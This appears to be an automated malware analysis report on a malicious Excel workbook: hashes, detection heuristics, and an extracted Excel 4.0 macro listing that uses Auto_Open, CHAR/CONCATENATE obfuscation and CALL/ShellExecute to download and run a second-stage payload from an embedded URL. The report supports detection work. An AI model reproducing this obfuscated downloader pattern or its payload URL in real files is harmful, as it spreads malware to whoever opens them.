Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 7916af52b302cd62…

MALICIOUS

Office (OLE) / .XLSX

329.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 3a22becbae5252dde121d104f01ba058 SHA-1: cf71d81fc6af5cc18c046d38034caf2d3a598a89 SHA-256: 7916af52b302cd621d543800377c99d4fe300985373263f0258f985045648aae
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains Excel 4.0 macros with an Auto_Open entry, indicating it will execute automatically upon opening. The macros utilize dangerous functions like RUN and CONCATENATE, and reference an embedded URL. This suggests the macro is designed to download and execute a second-stage payload, as indicated by the ClamAV detection 'Doc.Downloader.Docusign0521-9864805-0'.

Heuristics 7

  • ClamAV: Doc.Downloader.Docusign0521-9864805-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Docusign0521-9864805-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://btchs.com.br/ds/161120.gif� Referenced by macro
    • https://btchs.com.br/ds/161120.gifReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c7e4e7ed3c1ce4a0357cad7ea2d4765567912ff9637c55ef23ac64833b3a62a6		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6274 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  DocuSig
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -    8 
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -    8 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d    8 !A40 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'    8 ,A51,RUN(R59),""
'    8 ,R59,RUN(   8 !D50),""
'    8 ,B200,"https://"&C201&D202&E203,""
'    8 ,BN62,"CONCATENATE(BN63,BN64,BN65,BN66,BN67,BN68,BN69,BN70,BN71)",""
'    8 ,BN63,CHAR(BO63+BP63+BQ63),""
'    8 ,BN64,CHAR(BO64+BP64+BQ64),""
'    8 ,BN65,CHAR(BO65+BP65+BQ65),""
'    8 ,BN66,CHAR(BO66+BP66-BQ66),""
'    8 ,BN67,CHAR(BO67+BP67-BQ67),""
'    8 ,BN68,CHAR(BO68+BP68-BQ68),""
'    8 ,BN69,CHAR(BO69-BP69+BQ69),""
'    8 ,BN70,CHAR(BO70-BP70+BQ70),""
'    8 ,BN71,CHAR(BO71-BP71+BQ71),""
'    8 ,CV74,"CONCATENATE(CV77,CV78,CV79,CV80&"D"&CV82,CV83,CV84,CV85,CV86,CV87,CV88)",""
'    8 ,CV75,CHAR(CW75+CX75+CY75),""
'    8 ,CV76,CHAR(CW76+CX76+CY76),""
'    8 ,BN77,"CONCATENATE(BN78,BN79,BN80,BN81,BN82,BN83,BN84)",""
'    8 ,CV77,CHAR(101),""
'    8 ,BN78,CHAR(BO78-BP78-BQ78),""
'    8 ,CV78,CHAR(CW78+CX78+CY78),""
'    8 ,BN79,CHAR(BO79-BP79-BQ79),""
'    8 ,CV79,CHAR(CW79-CX79-CY79),""
'    8 ,BN80,CHAR(BO80-BP80-BQ80),""
'    8 ,CV80,CHAR(CW80-CX80-CY80),""
'    8 ,BN81,CHAR(BO81-BP81+BQ81),""
'    8 ,CV81,CHAR(CW81-CX81-CY81),""
'    8 ,BN82,CHAR(BO82-BP82+BQ82),""
'    8 ,BY82,CONCATENATE(BY85&BY86&BY87&BY88),""
'    8 ,CV82,CHAR(CW82-CX82-CY82),""
'    8 ,BN83,CHAR(BO83-BP83+BQ83),""
'    8 ,BY83,CHAR(BZ83+CA83+CB83),""
'    8 ,CV83,CHAR(CW83+CX83-CY83),""
'    8 ,BN84,CHAR(BO84-BP84+BQ84),""
'    8 ,BY84,CHAR(BZ84+CA84+CB84),""
'    8 ,CV84,CHAR(CW84+CX84-CY84),""
'    8 ,BY85,CA85,""
'    8 ,CV85,CHAR(99),""
'    8 ,BY86,CHAR(BZ86+CA86+CB86),""
'    8 ,CV86,CHAR(CW86+CX86-CY86),""
'    8 ,BY87,CHAR(BZ87+CA87+CB87),""
'    8 ,CV87,CHAR(CW87-CX87+CY87),""
'    8 ,BY88,CHAR(BZ88+CA88+CB88),""
'    8 ,CV88,CHAR(CW88-CX88+CY88),""
'    8 ,BY89,CHAR(BZ89+CA89+CB89),""
'    8 ,CV89,CHAR(CW89-CX89+CY89),""
'    8 ,BY90,CHAR(BZ90+CA90+CB90),""
'    8 ,CV90,CHAR(CW90-CX90+CY90),""
'    8 ,BN91,"CONCATENATE(BN92,BN93,BN94,BN95,BN96,BN97,BN98,BN99,BN100,BN101,BN102,BN103,BN104)",""
'    8 ,BN92,[],""
'    8 ,BN93,[],""
'    8 ,BN94,[],""
'    8 ,BS94,CONCATENATE(BS95&BS96&BS97&BS98),""
'    8 ,BN95,[],""
'    8 ,BS95,CHAR(BT95+BU95-BV95),""
'    8 ,BN96,[],""
'    8 ,BS96,CHAR(BT96+BU96-BV96),""
'    8 ,BN97,[],""
'    8 ,BS97,CHAR(BT97-BU97+BV97),""
'    8 ,BN98,[],""
'    8 ,BS98,CHAR(BT98-BU98+BV98),""
'    8 ,BN99,[],""
'    8 ,BN100,[],""
'    8 ,BN101,[],""
'    8 ,BN102,[],""
'    8 ,BN103,[],""
'    8 ,BN104,[],""
'    8 ,BS104,"CONCATENATE(BS106,BS107,BS108,BS109,BS110)",""
'    8 ,BS105,CHAR(BT105+BU105+BV105),""
'    8 ,BS106,CHAR(BT106+BU106+BV106),""
'    8 ,BS107,CHAR(BT107+BU107+BV107),""
'    8 ,BS108,CHAR(BT108-BU108-BV108),""
'    8 ,BS109,CHAR(BT109-BU109-BV109),""
'    8 ,BS110,CHAR(BT110-BU110-BV110),""
'    8 ,BR126,CONCATENATE(BR127&BR128&BR129&BR130&BR131&BR132&BR133),""
'    8 ,BR127,CHAR(BS127+BT127+BU127),""
'    8 ,BR128,CHAR(BS128+BT128+BU128),""
'    8 ,BR129,CHAR(BS129+BT129+BU129),""
'    8 ,BR130,CHAR(BS130+BT130+BU130),""
'    8 ,BR131,CHAR(BS131-BT131-BU131),""
'    8 ,BR132,CHAR(BS132-BT132-BU132),""
'    8 ,BR133,CHAR(BS133-BT133-BU133),""
'    8 ,DH16,"CONCATENATE("S"&DH18,DH19,DH20,DH21,DH22&X94)",""
'    8 ,DH17,CHAR(DI17+DJ17+DK17),""
'    8 ,DH18,CHAR(DI18+DJ18+DK18),""
'    8 ,DH19,CHAR(DI19+DJ19+DK19),""
'    8 ,DH20,CHAR(DI20-DJ20-DK20),""
'    8 ,DH21,CHAR(DI21-DJ21-DK21),""
'    8 ,DH22,CHAR(DI22-DJ22-DK22),""
'    8 ,DE31,CONCATENATE(DE34&DE35&DE36&DE37),""
'    8 ,DE32,CHAR(DF32+DG32+DH32),""
'    8 ,DE33,CHAR(DF33+DG33+DH33),""
'    8 ,DE34,CHAR(DF34+DG34+DH34),""
'    8 ,DE35,CHAR(DF35+DG35+DH35),""
'    8 ,DE36,CHAR(DF36-DG36-DH36),""
'    8 ,DE37,CHAR(DF37-DG37-DH37),""
'    8 ,DE38,CHAR(DF38-DG38+DH38),""
'    8 ,DE39,CHAR(DF39-DG39+DH39),""
'    8 ,E60,"CONCATENATE("R"&E63,E64,E65,E66&"n"&E68,E69,E70,E71,E72,E73&"F"&E75,E76,E77,E78)",""
'    8 ,E61,CHAR(F61+G61+H61),""
'    8 ,E62,CHAR(82),""
'    8 ,E63,CHAR(F63+G63+H63),""
'    8 ,E64,CHAR(F64-G64-H64),""
'    8 ,E65,CHAR(F65-G65-H65),""
'    8 ,E66,CHAR(F66-G66-H66),""
'    8 ,E67,CHAR(F67+G67-H67),""
'    8 ,E68,CHAR(F68+G68-H68),""
'    8 ,E69,CHAR(F69+G69-H69),""
'    8 ,E70,CHAR(F70-G70+H70),""
'    8 ,E71,CHAR(F71-G71+H71),""
'    8 ,E72,CHAR(F72-G72+H72),""
'    8 ,E73,CHAR(111),""
'    8 ,E74,CHAR(F74+G74+H74),""
'    8 ,E75,CHAR(F75+G75+H75),""
'    8 ,E76,CHAR(F76-G76-H76),""
'    8 ,E77,CHAR(F77-G77-H77),""
'    8 ,E78,CHAR(F78-G78-H78),""
'    8 ,X94,"CONCATENATE(X95,X96,X97,X98,X99,X100&"A")",""
'    8 ,X95,CHAR(Y95-Z95-BA95),""
'    8 ,X96,CHAR(Y96-Z96+BA96),""
'    8 ,X97,CHAR(Y97-Z97+BA97),""
'    8 ,X98,CHAR(Y98-Z98+BA98),""
'    8 ,X99,CHAR(Y99+Z99-BA99),""
'    8 ,X100,CHAR(Y100+Z100-BA100),""
'    8 ,X101,CHAR(Y101+Z101-BA101),""
'    8 ,D50,"CALL("Ke"&   8 !DE31&"32","Cr"& DocuSig!CV74&"yA","JCJ", DocuSig!BN62,0)",""
'    8 ,D51,RUN(D55),""
'    8 ,D55,"CALL("Ke"& DocuSig!BY82&"32","Cr"& DocuSig!CV74&"yA","JCJ", DocuSig!BN62& DocuSig!BN77,0)",""
'    8 ,D56,RUN(   8 !DP72),""
'    8 ,DP72,"CALL("U"& DocuSig!BS104,"U"&   8 !E60,"IICCII",0,   8 !B200, DocuSig!BN62& DocuSig!BN77& DocuSig!BN91,0,0)",""
'    8 ,DP73,CALL(DP82),""
'    8 ,DP82,"CALL( DocuSig!BR126,   8 !DH16,"IICCCCI",0, DocuSig!BS94, DocuSig!BN62& DocuSig!BN77& DocuSig!BN91,,0,0)",""
'    8 ,DP83,HALT(),""

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